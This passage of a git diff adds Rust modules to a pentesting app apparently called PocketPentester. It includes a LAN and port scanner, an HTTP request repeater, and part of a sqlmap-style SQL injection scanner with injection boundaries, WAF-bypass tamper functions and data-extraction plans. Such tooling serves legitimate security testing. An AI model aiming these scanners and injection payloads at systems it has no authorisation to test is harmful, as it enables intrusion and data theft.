u64) -> Vec { + let sem = Arc::new(tokio::sync::Semaphore::new(concurrency.max(1))); + let mut futs = Vec::new(); + for p in ports { + let sem = sem.clone(); + let p = *p; + futs.push(async move { + let _permit = sem.acquire().await.unwrap(); + if tcp_probe(ip, p, timeout_ms).await { Some(p) } else { None } + }); + } + let mut results: Vec = futures::future::join_all(futs).await + .into_iter().flatten().collect(); + results.sort_unstable(); + results +} + +// ------------------------------------------------------------------ +// mDNS — fire one PTR query per service, listen for N seconds +// ------------------------------------------------------------------ + +fn build_mdns_query(name: &str) -> Vec { + // minimal DNS query: tx=0, flags=0, 1 question, type PTR, class IN + let mut buf: Vec = Vec::new(); + buf.extend_from_slice(&[0, 0]); // tx id + buf.extend_from_slice(&[0, 0]); // flags = standard query + buf.extend_from_slice(&[0, 1]); // questions = 1 + buf.extend_from_slice(&[0, 0, 0, 0, 0, 0]); // ans/auth/add = 0 + for label in name.trim_end_matches('.').split('.') { + let bytes = label.as_bytes(); + buf.push(bytes.len() as u8); + buf.extend_from_slice(bytes); + } + buf.push(0); + buf.extend_from_slice(&[0, 12]); // QTYPE = PTR + buf.extend_from_slice(&[0, 1]); // QCLASS = IN + buf +} + +fn parse_mdns_ptr(packet: &[u8]) -> Vec { + // best-effort: pull ANSWER PTR rdata as service-instance names + // skips header + question; handles compression pointers loosely + let mut out: Vec = Vec::new(); + if packet.len() < 12 { return out; } + let ancount = u16::from_be_bytes([packet[6], packet[7]]) as usize; + if ancount == 0 { return out; } + + // skip header + let mut pos = 12usize; + // skip 1 question + let qdcount = u16::from_be_bytes([packet[4], packet[5]]) as usize; + for _ in 0..qdcount { + // skip name labels + while pos < packet.len() { + let len = packet[pos] as usize; + if len == 0 { pos += 1; break; } + if len & 0xC0 == 0xC0 { pos += 2; break; } + pos += 1 + len; + } + pos += 4; // QTYPE + QCLASS + if pos > packet.len() { return out; } + } + + for _ in 0..ancount { + if pos >= packet.len() { break; } + // skip NAME (compressed or labels) + if packet[pos] & 0xC0 == 0xC0 { pos += 2; } + else { + while pos < packet.len() { + let len = packet[pos] as usize; + if len == 0 { pos += 1; break; } + if len & 0xC0 == 0xC0 { pos += 2; break; } + pos += 1 + len; + } + } + if pos + 10 > packet.len() { break; } + let rtype = u16::from_be_bytes([packet[pos], packet[pos + 1]]); + let rdlen = u16::from_be_bytes([packet[pos + 8], packet[pos + 9]]) as usize; + pos += 10; + if pos + rdlen > packet.len() { break; } + + if rtype == 12 { + // PTR rdata: domain-name + if let Some(name) = read_name(packet, pos) { + out.push(name); + } + } + pos += rdlen; + } + out +} + +fn read_name(packet: &[u8], start: usize) -> Option { + let mut pos = start; + let mut out = String::new(); + let mut jumped = false; + let mut hops = 0; + loop { + if hops > 20 || pos >= packet.len() { return None; } + let len = packet[pos] as usize; + if len == 0 { break; } + if len & 0xC0 == 0xC0 { + if pos + 1 >= packet.len() { return None; } + let off = ((len & 0x3F) << 8) | packet[pos + 1] as usize; + pos = off; + jumped = true; + hops += 1; + continue; + } + if !out.is_empty() { out.push('.'); } + if pos + 1 + len > packet.len() { return None; } + out.push_str(std::str::from_utf8(&packet[pos + 1..pos + 1 + len]).unwrap_or("")); + pos += 1 + len; + if !jumped && len == 0 { break; } + } + if out.is_empty() { None } else { Some(out) } +} + +async fn run_mdns(timeout_secs: u64) -> HashMap> { + let mut results: HashMap> = HashMap::new(); + + let sock = match UdpSocket::bind("0.0.0.0:0").await { + Ok(s) => s, + Err(_) => return results, + }; + let _ = sock.set_broadcast(true); + let mdns_addr: SocketAddr = "224.0.0.251:5353".parse().unwrap(); + + for svc in MDNS_SERVICES { + let q = build_mdns_query(svc); + let _ = sock.send_to(&q, mdns_addr).await; + } + + let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs); + let mut buf = [0u8; 4096]; + loop { + let now = tokio::time::Instant::now(); + if now >= deadline { break; } + let remaining = deadline - now; + match timeout(remaining, sock.recv_from(&mut buf)).await { + Ok(Ok((n, src))) => { + let entries = parse_mdns_ptr(&buf[..n]); + if let IpAddr::V4(v4) = src.ip() { + let key = v4.to_string(); + let bucket = results.entry(key).or_default(); + for e in entries { + if !bucket.contains(&e) { bucket.push(e); } + } + } + } + _ => break, + } + } + results +} + +// ------------------------------------------------------------------ +// SSDP +// ------------------------------------------------------------------ + +async fn run_ssdp(timeout_secs: u64) -> HashMap> { + let mut results: HashMap> = HashMap::new(); + + let sock = match UdpSocket::bind("0.0.0.0:0").await { + Ok(s) => s, + Err(_) => return results, + }; + let _ = sock.set_broadcast(true); + let ssdp_addr: SocketAddr = "239.255.255.250:1900".parse().unwrap(); + + let msg = b"M-SEARCH * HTTP/1.1\r\n\ + HOST: 239.255.255.250:1900\r\n\ + MAN: \"ssdp:discover\"\r\n\ + MX: 2\r\n\ + ST: ssdp:all\r\n\r\n"; + let _ = sock.send_to(msg, ssdp_addr).await; + + let deadline = tokio::time::Instant::now() + Duration::from_secs(timeout_secs); + let mut buf = [0u8; 4096]; + loop { + let now = tokio::time::Instant::now(); + if now >= deadline { break; } + let remaining = deadline - now; + match timeout(remaining, sock.recv_from(&mut buf)).await { + Ok(Ok((n, src))) => { + if let IpAddr::V4(v4) = src.ip() { + let text = String::from_utf8_lossy(&buf[..n]); + let mut info = String::new(); + for line in text.lines() { + let l = line.to_lowercase(); + if l.starts_with("server:") || l.starts_with("st:") || l.starts_with("location:") || l.starts_with("usn:") { + if !info.is_empty() { info.push_str(" | "); } + info.push_str(line.trim()); + } + } + if !info.is_empty() { + let bucket = results.entry(v4.to_string()).or_default(); + if !bucket.contains(&info) { bucket.push(info); } + } + } + } + _ => break, + } + } + results +} + +// ------------------------------------------------------------------ +// orchestrator +// ------------------------------------------------------------------ + +#[tauri::command] +pub async fn lan_scan(app: AppHandle, req: LanScanRequest) -> Result { + let ports = req.ports.clone().unwrap_or_else(|| DEFAULT_PORTS.to_vec()); + let local_ip = detect_local_ipv4() + .map(|ip| ip.to_string()) + .unwrap_or_else(|| "unknown".into()); + + let (_base, hosts, subnet) = parse_or_autodetect_subnet(req.subnet_cidr.as_deref()) + .ok_or_else(|| "could not detect local network — pass subnet_cidr (e.g. 192.168.1.0/24)".to_string())?; + + let _ = app.emit("lanmap:status", format!("scanning {} ({} hosts × {} ports)", subnet, hosts.len(), ports.len())); + + let devices: Arc>> = Arc::new(Mutex::new(HashMap::new())); + + // ---- multicast probes start in background ---- + let mdns_handle = if req.probe_mdns { + Some(tokio::spawn(run_mdns(4))) + } else { None }; + let ssdp_handle = if req.probe_ssdp { + Some(tokio::spawn(run_ssdp(4))) + } else { None }; + + // ---- TCP sweep ---- + let total = hosts.len(); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let host_sem = Arc::new(tokio::sync::Semaphore::new(req.concurrency.max(1))); + + stream::iter(hosts.into_iter()) + .map(|ip| { + let ports = ports.clone(); + let host_sem = host_sem.clone(); + let done = done.clone(); + let app = app.clone(); + let devices = devices.clone(); + async move { + let _permit = host_sem.acquire().await.unwrap(); + // sequential per-host port sweep but capped concurrency + let open = sweep_host(ip, &ports, 50, req.timeout_ms).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("lanmap:progress", serde_json::json!({"done": n, "total": total})); + if !open.is_empty() { + let mut guard = devices.lock().await; + let entry = guard.entry(ip.to_string()).or_insert_with(|| LanDevice { + ip: ip.to_string(), ..Default::default() + }); + entry.open_ports = open.clone(); + entry.guess = guess_from_ports_and_services(&open, &entry.services, &entry.upnp); + drop(guard); + let snapshot = LanDevice { + ip: ip.to_string(), + open_ports: open.clone(), + guess: guess_from_ports_and_services(&open, &[], &[]), + ..Default::default() + }; + let _ = app.emit("lanmap:device", snapshot); + } + } + }) + .buffer_unordered(req.concurrency.max(1)) + .for_each(|_| async {}) + .await; + + // ---- merge multicast results ---- + if let Some(h) = mdns_handle { + if let Ok(map) = h.await { + let mut guard = devices.lock().await; + for (ip, services) in map { + let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() }); + for s in services { + if !entry.services.contains(&s) { entry.services.push(s); } + } + entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp); + } + } + } + if let Some(h) = ssdp_handle { + if let Ok(map) = h.await { + let mut guard = devices.lock().await; + for (ip, lines) in map { + let entry = guard.entry(ip.clone()).or_insert_with(|| LanDevice { ip: ip.clone(), ..Default::default() }); + for s in lines { + if !entry.upnp.contains(&s) { entry.upnp.push(s); } + } + entry.guess = guess_from_ports_and_services(&entry.open_ports, &entry.services, &entry.upnp); + } + } + } + + let mut list: Vec = devices.lock().await.values().cloned().collect(); + list.sort_by(|a, b| a.ip.cmp(&b.ip)); + + let _ = app.emit("lanmap:done", list.len()); + + Ok(LanScanReport { + local_ip, + subnet, + devices: list, + }) +} + +#[tauri::command] +pub async fn lan_local_info() -> Result { + let v4 = detect_local_ipv4().map(|ip| ip.to_string()).unwrap_or_else(|| "unknown".into()); + let oct = detect_local_ipv4().map(|ip| ip.octets()).unwrap_or([0; 4]); + let subnet = if oct[0] == 0 { String::new() } + else { format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2]) }; + Ok(serde_json::json!({ + "local_ip": v4, + "subnet": subnet, + "platform": format!("{}-{}", std::env::consts::OS, std::env::consts::ARCH), + "android": cfg!(target_os = "android"), + })) +} diff --git a/src-tauri/src/modules/mod.rs b/src-tauri/src/modules/mod.rs new file mode 100644 index 0000000..215d35f --- /dev/null +++ b/src-tauri/src/modules/mod.rs @@ -0,0 +1,19 @@ +pub mod port_scan; +pub mod subdomain; +pub mod httpx; +pub mod takeover; +pub mod sqli; +pub mod xss; +pub mod jwt; +pub mod xploiter; +pub mod xploiter_store; +pub mod autopwn; +pub mod lan_map; +pub mod repeater; +pub mod dirfuzz; +pub mod admin_finder; +pub mod form_brute; +pub mod dns_tools; +pub mod ssl_scan; +pub mod banner; +pub mod domain_grabber; diff --git a/src-tauri/src/modules/port_scan.rs b/src-tauri/src/modules/port_scan.rs new file mode 100644 index 0000000..099ee06 --- /dev/null +++ b/src-tauri/src/modules/port_scan.rs @@ -0,0 +1,137 @@ +use std::net::SocketAddr; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::net::TcpStream; +use tokio::sync::Semaphore; +use tokio::time::timeout; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PortScanRequest { + pub target: String, + pub ports: Vec, + pub concurrency: usize, + pub timeout_ms: u64, +} + +#[derive(Debug, Clone, Serialize)] +pub struct PortResult { + pub port: u16, + pub open: bool, + pub service: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ScanProgress { + pub scanned: usize, + pub total: usize, +} + +pub fn top_1000_ports() -> Vec { + vec![ + 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, + 3306, 3389, 5900, 8080, 8443, 8888, 5432, 6379, 27017, 9200, 5601, 11211, + 1433, 1521, 2049, 2181, 2375, 2376, 4369, 5000, 5001, 5044, 5432, 5601, + 5672, 5984, 6000, 6379, 7000, 7001, 7002, 8000, 8001, 8008, 8009, 8010, + 8081, 8082, 8083, 8086, 8088, 8090, 8091, 8161, 8200, 8291, 8333, 8400, + 8500, 8834, 8983, 9000, 9001, 9042, 9090, 9091, 9092, 9100, 9160, 9200, + 9300, 9418, 9443, 9999, 10000, 10001, 10250, 11211, 15672, 16379, 27017, + 27018, 27019, 28017, 50000, 50070, 54321, 61616, + // common ports + 20, 26, 37, 79, 81, 82, 88, 106, 113, 119, 123, 137, 138, 161, 162, 389, + 427, 465, 500, 513, 514, 515, 548, 554, 587, 631, 636, 646, 873, 902, + 990, 1025, 1026, 1027, 1028, 1029, 1080, 1110, 1194, 1214, 1241, 1311, + 1352, 1434, 1433, 1494, 1503, 1720, 1755, 1761, 1812, 1900, 2000, 2001, + 2049, 2121, 2222, 2301, 2383, 2601, 2717, 2869, 3000, 3001, 3128, 3268, + 3306, 3389, 3690, 4000, 4001, 4045, 4100, 4333, 4444, 4662, 4899, 5009, + 5050, 5060, 5100, 5190, 5357, 5432, 5555, 5631, 5666, 5800, 5900, 6001, + 6346, 6646, 6660, 6661, 6662, 6663, 6665, 6666, 6667, 6668, 6669, 6881, + 7070, 7937, 7938, 8021, 8031, 8042, 8080, 8088, 8181, 8443, 8686, 8888, + 9100, 9102, 9103, 9535, 9999, 10243, 10566, 12345, 13782, 13783, 16992, + 16993, 17877, 17988, 19101, 19801, 19842, 20000, 22939, 24800, 30718, + 32768, 32769, 32770, 32771, 32772, 32773, 32774, 32775, 32776, 32777, + 32778, 32779, 49152, 49153, 49154, 49155, 49156, 49157, 49158, 49159, + 49160, 49161, 49163, 49165, 49167, 49175, 49176, 49400, 49999, 65000, + 65129, 65389, + ] +} + +pub fn service_name(port: u16) -> Option { + let s = match port { + 21 => "ftp", + 22 => "ssh", + 23 => "telnet", + 25 => "smtp", + 53 => "dns", + 80 => "http", + 110 => "pop3", + 139 => "netbios", + 143 => "imap", + 443 => "https", + 445 => "smb", + 993 => "imaps", + 995 => "pop3s", + 1433 => "mssql", + 1521 => "oracle", + 3306 => "mysql", + 3389 => "rdp", + 5432 => "postgres", + 5900 => "vnc", + 6379 => "redis", + 8080 => "http-alt", + 8443 => "https-alt", + 9200 => "elasticsearch", + 27017 => "mongodb", + _ => return None, + }; + Some(s.to_string()) +} + +async fn probe(addr: SocketAddr, timeout_ms: u64) -> bool { + matches!( + timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await, + Ok(Ok(_)) + ) +} + +#[tauri::command] +pub async fn port_scan(app: AppHandle, req: PortScanRequest) -> Result, String> { + let ip: std::net::IpAddr = tokio::net::lookup_host(format!("{}:80", req.target)) + .await + .map_err(|e| format!("resolve failed: {e}"))? + .next() + .map(|s| s.ip()) + .ok_or("no addresses resolved")?; + + let total = req.ports.len(); + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let scanned = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + let results: Vec = stream::iter(req.ports.into_iter()) + .map(|port| { + let sem = sem.clone(); + let scanned = scanned.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let addr = SocketAddr::new(ip, port); + let open = probe(addr, req.timeout_ms).await; + let n = scanned.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("portscan:progress", ScanProgress { scanned: n, total }); + let result = PortResult { port, open, service: service_name(port) }; + if open { + let _ = app.emit("portscan:hit", result.clone()); + } + result + } + }) + .buffer_unordered(req.concurrency.max(1)) + .collect() + .await; + + let _ = app.emit("portscan:done", total); + Ok(results.into_iter().filter(|r| r.open).collect()) +} diff --git a/src-tauri/src/modules/repeater.rs b/src-tauri/src/modules/repeater.rs new file mode 100644 index 0000000..ceed486 --- /dev/null +++ b/src-tauri/src/modules/repeater.rs @@ -0,0 +1,131 @@ +// =================================================================== +// Repeater — Burp-style manual HTTP request sender. +// Full control: method, URL, headers, body. Returns full response. +// =================================================================== + +use std::collections::HashMap; +use std::time::{Duration, Instant}; + +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Deserialize)] +pub struct RepeaterRequest { + pub method: String, + pub url: String, + #[serde(default)] + pub headers: HashMap, + #[serde(default)] + pub body: Option, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, + #[serde(default)] + pub follow_redirects: bool, + #[serde(default)] + pub ignore_tls: bool, +} + +fn default_timeout() -> u64 { 15_000 } + +#[derive(Debug, Clone, Serialize)] +pub struct RepeaterResponse { + pub status: u16, + pub status_text: String, + pub http_version: String, + pub headers: Vec<(String, String)>, + pub body: String, + pub body_len: usize, + pub content_type: Option, + pub time_ms: u128, + pub final_url: String, + pub redirected: bool, + pub is_text: bool, +} + +#[tauri::command] +pub async fn repeater_send(req: RepeaterRequest) -> Result { + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(req.ignore_tls) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(10) + } else { + reqwest::redirect::Policy::none() + }) + .user_agent("Mozilla/5.0 (PocketPentester-Repeater)") + .build() + .map_err(|e| e.to_string())?; + + let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes()) + .map_err(|e| format!("bad method: {e}"))?; + + let mut builder = client.request(method, &req.url); + for (k, v) in &req.headers { + if k.trim().is_empty() { continue; } + builder = builder.header(k.trim(), v); + } + if let Some(body) = &req.body { + if !body.is_empty() { + builder = builder.body(body.clone()); + } + } + + let start = Instant::now(); + let resp = builder.send().await.map_err(|e| e.to_string())?; + let status = resp.status(); + let version = format!("{:?}", resp.version()); + let final_url = resp.url().to_string(); + let redirected = final_url != req.url; + + let headers: Vec<(String, String)> = resp.headers().iter() + .map(|(k, v)| (k.to_string(), v.to_str().unwrap_or("").to_string())) + .collect(); + + let content_type = resp.headers().get("content-type") + .and_then(|v| v.to_str().ok()).map(String::from); + + let is_text = content_type.as_deref().map(|c| { + c.starts_with("text/") || c.contains("json") || c.contains("xml") + || c.contains("javascript") || c.contains("html") || c.contains("form-urlencoded") + }).unwrap_or(true); + + let body = resp.text().await.unwrap_or_default(); + let elapsed = start.elapsed().as_millis(); + + Ok(RepeaterResponse { + status: status.as_u16(), + status_text: status.canonical_reason().unwrap_or("").into(), + http_version: version, + headers, + body_len: body.len(), + body, + content_type, + time_ms: elapsed, + final_url, + redirected, + is_text, + }) +} + +#[tauri::command] +pub fn repeater_to_curl(req: RepeaterRequest) -> String { + let mut parts: Vec = vec!["curl".into(), "-i".into()]; + if req.ignore_tls { parts.push("-k".into()); } + if req.follow_redirects { parts.push("-L".into()); } + if req.method.to_uppercase() != "GET" { + parts.push("-X".into()); + parts.push(req.method.to_uppercase()); + } + for (k, v) in &req.headers { + if k.trim().is_empty() { continue; } + parts.push("-H".into()); + parts.push(format!("'{}: {}'", k.trim(), v.replace('\'', "'\\''"))); + } + if let Some(body) = &req.body { + if !body.is_empty() { + parts.push("--data-raw".into()); + parts.push(format!("'{}'", body.replace('\'', "'\\''"))); + } + } + parts.push(format!("'{}'", req.url)); + parts.join(" ") +} diff --git a/src-tauri/src/modules/sqli.rs b/src-tauri/src/modules/sqli.rs new file mode 100644 index 0000000..6458a5e --- /dev/null +++ b/src-tauri/src/modules/sqli.rs @@ -0,0 +1,770 @@ +// =================================================================== +// SQLi Scanner — sqlmap-style detection + exploitation. +// +// Detection pipeline (per injection point): +// 1. Heuristic: append `'`, `''`, `"`, `\`, `)` — detect SQL errors or +// response divergence from baseline. If nothing flags → skip. +// 2. Fingerprint: compile DBMS guess from error signatures. +// 3. Boolean-blind: test TRUE vs FALSE payload with prefix/suffix +// variants, confirmed when TRUE ≈ baseline AND FALSE ≠ baseline. +// 4. Error-based: send quote-break payload, grep DBMS error regex. +// 5. Time-based: payload that sleeps N seconds, confirm if elapsed ≥ N. +// 6. Union-based: find column count via ORDER BY increments, then +// UNION SELECT markers to find reflected column → data extraction. +// +// Injection points tested: +// - GET query params (from URL) +// - POST body (form-urlencoded or JSON, `*` marker supported) +// - Cookie values (`*` marker in cookie string) +// - User-Agent / Referer / X-Forwarded-For headers (level 2+) +// +// `*` marker: anywhere in URL/body/cookie/header value forces that +// position to be the injection point (exclusive). Example: +// url = "https://x.com/item?id=1*" +// body = "user=admin&token=*" +// +// After confirmation (if auto_extract=true), attempts to pull: +// - DBMS banner / version() +// - current_user / current_database +// via UNION or error-based extraction. +// =================================================================== + +use std::collections::HashMap; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +use once_cell::sync::Lazy; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; +use url::Url; + +// ------------------------------------------------------------------ +// Public API +// ------------------------------------------------------------------ + +#[derive(Debug, Clone, Deserialize)] +pub struct SqliRequest { + pub url: String, + #[serde(default = "default_method")] + pub method: String, + #[serde(default)] + pub body: Option, + #[serde(default)] + pub headers: HashMap, + #[serde(default)] + pub cookies: Option, + /// Filter params to test (optional). Blank = all found params tested. + #[serde(default)] + pub params: Option>, + /// Which techniques to run: "heuristic" "error" "boolean" "time" "union". + #[serde(default = "default_techs")] + pub techniques: Vec, + /// 1 = safest / fastest, 2 = adds headers + more payloads, 3 = full. + #[serde(default = "default_level")] + pub level: u8, + /// Risk 1 = non-intrusive, 2 = time-based, 3 = stacked queries. + #[serde(default = "default_risk")] + pub risk: u8, + #[serde(default = "default_true")] + pub stop_on_first: bool, + #[allow(dead_code)] + #[serde(default = "default_true")] + pub auto_extract: bool, + #[serde(default)] + pub tamper: Vec, + #[serde(default = "default_conc")] + pub concurrency: usize, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, + #[serde(default = "default_true")] + pub follow_redirects: bool, +} + +fn default_method() -> String { "GET".into() } +fn default_techs() -> Vec { vec!["heuristic".into(), "error".into(), "boolean".into(), "union".into(), "time".into()] } +fn default_level() -> u8 { 2 } +fn default_risk() -> u8 { 1 } +fn default_conc() -> usize { 4 } +fn default_timeout() -> u64 { 15_000 } +fn default_true() -> bool { true } + +#[derive(Debug, Clone, Serialize)] +pub struct SqliFinding { + pub param: String, + pub location: String, // "GET", "POST", "Cookie", "Header:Referer" + pub technique: String, // "heuristic", "error", "boolean-blind", "time-blind", "union" + pub dbms: Option, + pub prefix: String, + pub suffix: String, + pub payload: String, + pub full_payload: String, + pub evidence: String, + pub confidence: String, + pub extracted: HashMap, +} + +// ------------------------------------------------------------------ +// DBMS signatures +// ------------------------------------------------------------------ + +static DBMS_ERRORS: Lazy)>> = Lazy::new(|| vec![ + ("MySQL", vec![ + Regex::new(r"(?i)sql syntax.*?mysql").unwrap(), + Regex::new(r"(?i)warning.*?\Wmysqli?_").unwrap(), + Regex::new(r"(?i)mysql.*?error").unwrap(), + Regex::new(r"(?i)you have an error in your sql syntax").unwrap(), + Regex::new(r"(?i)unknown column").unwrap(), + Regex::new(r"(?i)mysqlclient\.").unwrap(), + Regex::new(r"(?i)mysql-community-server").unwrap(), + ]), + ("PostgreSQL", vec![ + Regex::new(r"(?i)postgresql.*?error").unwrap(), + Regex::new(r"(?i)pg_query\(\)").unwrap(), + Regex::new(r"(?i)unterminated quoted string at or near").unwrap(), + Regex::new(r"(?i)invalid input syntax for (?:integer|type)").unwrap(), + Regex::new(r"(?i)postgres\.").unwrap(), + ]), + ("MSSQL", vec![ + Regex::new(r"(?i)microsoft sql server").unwrap(), + Regex::new(r"(?i)odbc sql server driver").unwrap(), + Regex::new(r"(?i)unclosed quotation mark before the character string").unwrap(), + Regex::new(r"(?i)\[microsoft]\[odbc").unwrap(), + Regex::new(r"(?i)sqlserver jdbc driver").unwrap(), + Regex::new(r"(?i)conversion failed when converting").unwrap(), + ]), + ("Oracle", vec![ + Regex::new(r"(?i)ora-\d{5}").unwrap(), + Regex::new(r"(?i)oracle error").unwrap(), + Regex::new(r"(?i)quoted string not properly terminated").unwrap(), + Regex::new(r"(?i)oracle.*?driver").unwrap(), + ]), + ("SQLite", vec![ + Regex::new(r"(?i)sqlite.*?error").unwrap(), + Regex::new(r"(?i)sqlite3::sqlexception").unwrap(), + Regex::new(r"(?i)unrecognized token:").unwrap(), + Regex::new("(?i)near \".*?\": syntax error").unwrap(), + ]), +]); + +fn detect_dbms(body: &str) -> Option<&'static str> { + for (db, regexes) in DBMS_ERRORS.iter() { + if regexes.iter().any(|re| re.is_match(body)) { return Some(db); } + } + None +} + +// ------------------------------------------------------------------ +// Prefix/suffix combos — ported from sqlmap's boundaries +// ------------------------------------------------------------------ + +fn boundaries(level: u8) -> Vec<(&'static str, &'static str)> { + // (prefix, suffix) + let base = vec![ + ("", "-- -"), + ("'", "-- -"), + ("'", "'"), + ("\"", "-- -"), + ("\"", "\""), + (")", "-- -"), + ("')", "-- -"), + ("\")", "-- -"), + ]; + if level <= 1 { return base; } + let mut more = base; + more.extend([ + ("))", "-- -"), + ("'))", "-- -"), + ("\"))", "-- -"), + ("`", "-- -"), + ("`;", "-- -"), + (";", "-- -"), + ("';", "-- -"), + ]); + if level <= 2 { return more; } + more.extend([ + ("'))", "AND ('x'='x"), + ("\"))", "AND (\"x\"=\"x"), + ("%27", "-- -"), + ("%2527", "-- -"), + ]); + more +} + +// ------------------------------------------------------------------ +// Tamper scripts (WAF bypass) +// ------------------------------------------------------------------ + +fn apply_tamper(payload: &str, tampers: &[String]) -> String { + let mut p = payload.to_string(); + for t in tampers { + p = match t.as_str() { + "randomcase" => randomcase(&p), + "space2comment" => p.replace(' ', "/**/"), + "space2plus" => p.replace(' ', "+"), + "between" => p.replace("=", " BETWEEN 0 AND 0 "), // crude + "equaltolike" => p.replace("=", " LIKE "), + "charunicodeencode" => char_unicode_encode(&p), + _ => p, + }; + } + p +} + +fn randomcase(s: &str) -> String { + use rand::Rng; + let mut rng = rand::thread_rng(); + s.chars().map(|c| if c.is_ascii_alphabetic() && rng.gen_bool(0.5) { c.to_ascii_uppercase() } else { c.to_ascii_lowercase() }).collect() +} + +fn char_unicode_encode(s: &str) -> String { + s.chars().map(|c| if c.is_ascii_alphanumeric() { c.to_string() } else { format!("%u00{:02x}", c as u32) }).collect() +} + +// ------------------------------------------------------------------ +// Request orchestration +// ------------------------------------------------------------------ + +#[derive(Debug, Clone)] +struct InjectionPoint { + location: String, // "GET", "POST", "Cookie", "Header:X-Forwarded-For" + name: String, // param name + base_value: String, // original value +} + +#[derive(Debug, Clone)] +struct Target { + url: Url, + method: String, + body: Option, + body_is_json: bool, + headers: HashMap, + cookies: Option, +} + +fn parse_cookies(raw: &str) -> Vec<(String, String)> { + raw.split(';').filter_map(|p| { + let t = p.trim(); + if t.is_empty() { return None; } + let (k, v) = t.split_once('=')?; + Some((k.trim().to_string(), v.trim().to_string())) + }).collect() +} + +fn serialize_cookies(pairs: &[(String, String)]) -> String { + pairs.iter().map(|(k, v)| format!("{k}={v}")).collect::>().join("; ") +} + +fn find_injection_points(req: &SqliRequest, target: &Target) -> Vec { + let mut out: Vec = Vec::new(); + let filter = req.params.clone().unwrap_or_default(); + let want = |n: &str| filter.is_empty() || filter.iter().any(|f| f == n); + + // Star marker has priority — if present, only inject there + if target.url.as_str().contains('*') { + // treat entire URL query as marker-based... simplified: find param with * + for (k, v) in target.url.query_pairs() { + if v.contains('*') { + out.push(InjectionPoint { + location: "GET".into(), + name: k.to_string(), + base_value: v.trim_end_matches('*').to_string(), + }); + } + } + if !out.is_empty() { return out; } + } + + if let Some(body) = &target.body { + if body.contains('*') && !target.body_is_json { + for pair in body.split('&') { + if let Some((k, v)) = pair.split_once('=') { + if v.contains('*') { + out.push(InjectionPoint { + location: "POST".into(), + name: k.to_string(), + base_value: v.trim_end_matches('*').to_string(), + }); + } + } + } + if !out.is_empty() { return out; } + } + } + + if let Some(ck) = &target.cookies { + if ck.contains('*') { + for (k, v) in parse_cookies(ck) { + if v.contains('*') { + out.push(InjectionPoint { + location: "Cookie".into(), + name: k, + base_value: v.trim_end_matches('*').to_string(), + }); + } + } + if !out.is_empty() { return out; } + } + } + + for (k, v) in &target.headers { + if v.contains('*') { + out.push(InjectionPoint { + location: format!("Header:{k}"), + name: k.clone(), + base_value: v.trim_end_matches('*').to_string(), + }); + } + } + if !out.is_empty() { return out; } + + // No marker: enumerate every parameter + for (k, v) in target.url.query_pairs() { + if want(&k) { + out.push(InjectionPoint { location: "GET".into(), name: k.into_owned(), base_value: v.into_owned() }); + } + } + if let Some(body) = &target.body { + if !target.body_is_json { + for pair in body.split('&') { + if let Some((k, v)) = pair.split_once('=') { + if want(k) { + out.push(InjectionPoint { location: "POST".into(), name: k.to_string(), base_value: v.to_string() }); + } + } + } + } + } + if let Some(ck) = &target.cookies { + for (k, v) in parse_cookies(ck) { + if want(&k) { + out.push(InjectionPoint { location: "Cookie".into(), name: k, base_value: v }); + } + } + } + if req.level >= 2 { + let hdr_points = ["User-Agent", "Referer", "X-Forwarded-For"]; + for h in hdr_points { + if target.headers.contains_key(h) && want(h) { + out.push(InjectionPoint { + location: format!("Header:{h}"), + name: h.into(), + base_value: target.headers.get(h).cloned().unwrap_or_default(), + }); + } else if req.level >= 3 && want(h) { + // inject even if header wasn't sent originally + out.push(InjectionPoint { + location: format!("Header:{h}"), + name: h.into(), + base_value: String::new(), + }); + } + } + } + out +} + +async fn send( + client: &reqwest::Client, + target: &Target, + point: &InjectionPoint, + injected_value: &str, +) -> Option<(String, u16, u128)> { + let start = Instant::now(); + let method = reqwest::Method::from_bytes(target.method.as_bytes()).unwrap_or(reqwest::Method::GET); + let mut url = target.url.clone(); + let mut body = target.body.clone(); + let mut cookies = target.cookies.clone(); + let mut headers = target.headers.clone(); + + match point.location.as_str() { + "GET" => { + let pairs: Vec<(String, String)> = url.query_pairs() + .map(|(k, v)| if k == point.name.as_str() { (k.into_owned(), injected_value.to_string()) } + else { (k.into_owned(), v.into_owned()) }) + .collect(); + url.query_pairs_mut().clear(); + for (k, v) in &pairs { url.query_pairs_mut().append_pair(k, v); } + } + "POST" => { + if let Some(b) = &body { + let out: Vec = b.split('&').map(|pair| { + if let Some((k, v)) = pair.split_once('=') { + if k == point.name { format!("{k}={}", urlencoding::encode(injected_value)) } + else { format!("{k}={v}") } + } else { pair.to_string() } + }).collect(); + body = Some(out.join("&")); + } + } + "Cookie" => { + if let Some(ck) = &cookies { + let mut pairs = parse_cookies(ck); + for p in &mut pairs { + if p.0 == point.name { p.1 = injected_value.to_string(); } + } + cookies = Some(serialize_cookies(&pairs)); + } + } + loc if loc.starts_with("Header:") => { + headers.insert(point.name.clone(), injected_value.to_string()); + } + _ => {} + } + + let mut 